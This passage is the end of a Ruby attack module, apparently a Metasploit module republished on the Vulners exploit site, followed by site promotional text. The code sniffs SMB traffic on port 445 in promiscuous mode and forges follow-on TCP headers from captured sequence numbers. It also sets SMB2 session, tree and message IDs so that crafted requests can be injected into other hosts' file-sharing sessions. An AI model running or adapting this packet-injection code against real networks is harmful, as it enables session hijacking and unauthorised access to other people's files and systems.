    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    return true # Done.
  end

  # This sends a packet and captures the response.
  def get_response(packet)
    packet.recalc
    rc = PacketFu::Capture.new(iface: @interface, promisc: true)
    rc.capture
    rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}")
    packet.to_w(@interface)
    rc.stream.each_data do |data|
      packet = PacketFu::Packet.parse(data)
      if packet.instance_of?(PacketFu::TCPPacket)
        break packet
      end
    end
  end

  # This generates the TCP header for a new packet based on the previous one.
  def make_tcp_header(response)
    PacketFu::TCPHeader.new(
      tcp_src: response.tcp_header.tcp_dst,
      tcp_dst: response.tcp_header.tcp_src,
      tcp_seq: response.tcp_header.tcp_ack,
      tcp_ack: response.tcp_header.tcp_seq + response.payload.size,
      tcp_win: response.tcp_header.tcp_win,
      tcp_flags: { ack: 1, psh: 1 }
    )
  end

  # This sets the smb2 header flags on the request with the provided values.
  def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.smb2_header.tree_id = tree_id
    request.smb2_header.process_id = process_id
    request.smb2_header.credit_charge = 1
    request.smb2_header.credits = 256
    request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1
    request.smb2_header.session_id = response_smb2.smb2_header.session_id
    nil
  end

  # This converts a string to a binary mac.
  def str2mac(str)
    # [str.split(':').join].pack('H*')
    Rex::Socket.eth_aton(str)
  end

  # This converts a binary mac to a string.
  def mac2str(mac)
    # mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':')
    Rex::Socket.eth_ntoa(mac)
  end

  # This converts a string to a binary ip.
  def str2ip(str)
    # str.split('.').map(&:to_i).pack('C*')
    Rex::Socket.addr_aton(str)
  end

  # This converts a binary ip to a string.
  def ip2str(ip)
    # ip.bytes.map(&:to_s).join('.')
    Rex::Socket.addr_ntoa(ip)
  end

  # This converts an integer to a binary ip.
  def int2ip(int)
    # [int].pack('N')
    Rex::Socket.addr_iton(int)
  end

  # This cleans up and exits all the active threads.
  def cleanup
    @cleanup_mutex.synchronize do
      unless @cleanedup
        print_status 'Cleaning Up...'
        @syn_capture_thread.exit if @syn_capture_thread
        @ack_capture_thread.exit if @ack_capture_thread
        @main_threads.map(&:exit) if @main_threads
        reset_p445_fwrd
        @cleanedup = true
        print_status 'Cleaned Up.'
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation